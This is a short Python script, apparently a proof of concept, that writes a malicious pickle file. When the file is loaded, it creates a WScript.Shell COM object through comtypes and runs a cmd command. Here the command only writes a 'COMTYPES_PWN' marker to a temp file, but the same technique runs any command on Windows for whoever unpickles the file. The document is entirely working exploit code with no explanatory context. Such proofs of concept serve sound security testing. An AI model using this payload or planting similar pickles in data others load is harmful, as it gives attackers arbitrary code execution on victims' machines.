| import pickle, operator | |
| import comtypes.client | |
| from pathlib import Path | |
| out = Path(__file__).with_name("payload.pkl") | |
| cmd = 'cmd /c echo COMTYPES_PWN> "C:\\Users\\uozer\\AppData\\Local\\Temp\\opencode\\w33_comtypes_run.txt"' | |
| class Shell: | |
| def __reduce__(self): | |
| return (comtypes.client.CreateObject, ("WScript.Shell",)) | |
| class E: | |
| def __reduce__(self): | |
| # methodcaller('Run', cmd, 0, True)(shell) | |
| return (operator.methodcaller("Run", cmd, 0, True), (Shell(),)) | |
| out.write_bytes(pickle.dumps(E(), protocol=4)) | |
| print("WROTE", out) | |